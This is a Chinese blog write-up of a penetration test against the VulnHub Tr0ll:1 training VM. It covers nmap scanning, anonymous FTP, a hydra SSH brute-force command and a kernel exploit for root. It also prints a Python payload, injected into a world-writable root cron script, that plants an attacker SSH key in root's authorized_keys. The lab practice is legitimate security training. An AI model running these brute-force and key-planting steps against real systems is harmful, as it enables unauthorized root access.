VulnHub-Tr0ll:1 靶场渗透测试

时间:2021.2.16

靶场信息:
地址:https://www.vulnhub.com/entry/tr0ll-1,100/
发布日期:2014年8月14日
目标:得到root权限&找到proof.txt

一、信息收集

1、获取靶机IP地址

nmap -sP 192.168.137.0/24

image-20210216084035204

由探测的结果可知,靶机的IP为192.168.137.131

2、扫描开放的端口和服务

nmap -sS -sV -T5 -A -p- 192.168.137.131

image-20210216084252617

得到开放的端口信息:

21/tcp open  ftp     vsftpd 3.0.2
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))

根据上面的探测结果可知,靶机的web应用暴露了robots.txt和/secret目录,nmap还探测出FTP允许匿名登录,这里就针对FTP进行攻击

image-20210216093329942

查看当前目录,发现了一个名为lol.pacp的文件,这里介绍一下pacp文件

pacp文件介绍

pcap文件是常用的数据报存储格式,可以理解为就是一种文件格式,只不过里面的数据是按照特定格式存储的,所以我们想要解析里面的数据,也必须按照一定的格式。普通的记事本打开pcap文件显示的是乱码,用安装了HEX-Editor插件的Notepad++打开,能够以16进制数据的格式显示,用wireshark这种抓包工具就可以正常打开这种文件,愉快地查看里面的网络数据报了,同时wireshark也可以生成这种格式的文件。

所以这里就先将他下载到本地,然后使用Wireshark打开查看

image-20210216094333002

发现一个可疑的数据包

image-20210216094901577

打开看看

image-20210216094948379

由于之前发现靶机还开放了22号端口,有可能sup3rs3cr3tdirlol是登录的密码,我们试试

image-20210216095921835‘发现登不进去,那可能留给我们的就不是登录密码,换其他思路继续渗透

3、网站信息收集

之前还发现靶机开放了80端口,有个web应用,我们访问看看

image-20210216100208271

用dirb爆破一下目录

image-20210216100439259

挨个访问一下

image-20210216100511757

image-20210216100543910

控制台打开看了看,还是没啥有用的信息,之前在数据报里发现的sup3rs3cr3tdirlol可能是目录,我们试着看能不能访问

image-20210216100747452

果然数据包留下的信息是这里的目录,这里发现有一个名为roflmao的文件

我们在本地下载过来,查看一下文件的类型,发现他是一个ELF 32位LSB可执行文件

image-20210216101018423

我们通过strings在对象文件或二进制文件中查找可打印的字符串,这里发现了有用的信息,让我们找到地址0x0856BF

image-20210216101450451

我们就访问0x0856BF目录看看

image-20210216101646259

发现两个目录,我们就进去看看

image-20210216101757518

这个有可能是用户名,因为下面那个文件夹里藏着密码

image-20210216101857405

因为这里用户名很多,不能确定哪个才是真正可以登录的用户名,我们就使用hydra暴力破解看看

二、漏洞探测

将which_one_lol.txt下载到本地

image-20210216102433519

使用hydra进行爆破:

hydra -L which_one_lol.txt -P pass.txt 192.168.137.131 ssh

image-20210216104854229

爆破了半天一直失败,后来才发现Good_job_:)不是密码!!!

真正的密码就是文件名Pass.txt

image-20210216104817354

那么我们现在登进去看看

image-20210216105338009

三、漏洞利用

我们查看一下靶机的内核版本信息

image-20210216110842690

这里补充一下查看Linux系统版本信息的一些命令:

一、查看Linux内核版本命令(两种方法)
	1、cat /proc/version
	2、uname -a
二、查看Linux系统版本的命令(三种方法)
	1、lsb_release -a 即可列出所有版本信息,这个命令适用于所有的Linux发行版,包括RedHat、SUSE、Debain...等发行版
	2、cat /etc/redhat-release 这种方法只适用于RedHat系的Linux
	3、cat /etc/issue 此命令也适用于所有的Linux发行版

得到靶机为Ubuntu 14.04和3.13内核,根据内核版本去exploit-db找找看有没有可以利用的漏洞

image-20210216111610214

对应的exp可以查看:

EXP

image-20210216111806025

我们直接在kali里面找

image-20210216111932416

找到以后将exp传到靶机上

image-20210216112229138

四、提权

传到靶机之后,在靶机上编译运行生成的可执行文件

image-20210216112437942

获得root权限后,查看proof.txt得到flag

这台靶机会遇到登录ssh overflow@192.168.137.131两分钟后就自动断开会话超时,然后得重新连接,这边继续讲另外一种提权方法

查看日志/var/log/cronlog,继续查看/lib/log/cleaner.py

image-20210216114325784

cleaner.py脚本是以root权限执行的,并且该脚本是全局可写的,那么我们就可以利用这一点进行提权

image-20210216114722258

使用ssh-keygen生成ssh认证所需的公钥和私钥文件

image-20210216115135164

将 id_rsa.pub产生的密匙内容复制到cleaner.py中

#!/usr/bin/env python
import os
import sys
try:
	os.system('mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxQ+ERTnUS5OoeU8DKLY8Cg1HaAEZx/Si9RScNo9LMe7ZwiF2ZZ2pcN9BXhjTROVPfKArXpeDc1R/LVewjXTN0Yo38BHem0az23MxLu0upCyTZiIbVa1CXIEfDl/hddLj04H+oX4xVAYN1ahe2x5af0GTntIE/MV2uLR1zECZNGxtRGfi5gKealbIHgGwi6QGyuGiFX3TjDLqngfeIyEnH9fKZ965j6QoaIqx0h98VD0J3nqA6ssQzKgSVdEQU98XIPZCgjiIvg5WHJteNVOLnTrVl2yDF6RqyoAaSFCDezgoKGpJ5duwvKjB/6m9HjSJk+6UhZOqZX7lUO0AKcn21gCSSlKqDhKYY3k5q+u18CbItL5oBOHu7ft5fYAIzlZDLwXHGH4blTPg/8Z/X2EFWR/f3hNR58Hoeq2IA2PnJ6Tj6SpWOOQjFc5oj/6b6t8OCODdoBUKYPG7i0ojm0gYbGaqHJVILCu0r97dSOgc9Ybzj0AyAZFKMaUUa6hKYd0E= root@kali">> /root/.ssh/authorized_keys')
except:
	sys.exit()

image-20210216121515947

image-20210216121549217

直接执行ssh root@192.168.137.131,然后输入Pass.txt即可登录

总结

巩固了pacp文件相关的知识,以及掌握了提权的一些新方法,收获很多。

posted @ 2021-02-16 12:33  l2sec  阅读(441)  评论(0编辑  收藏  举报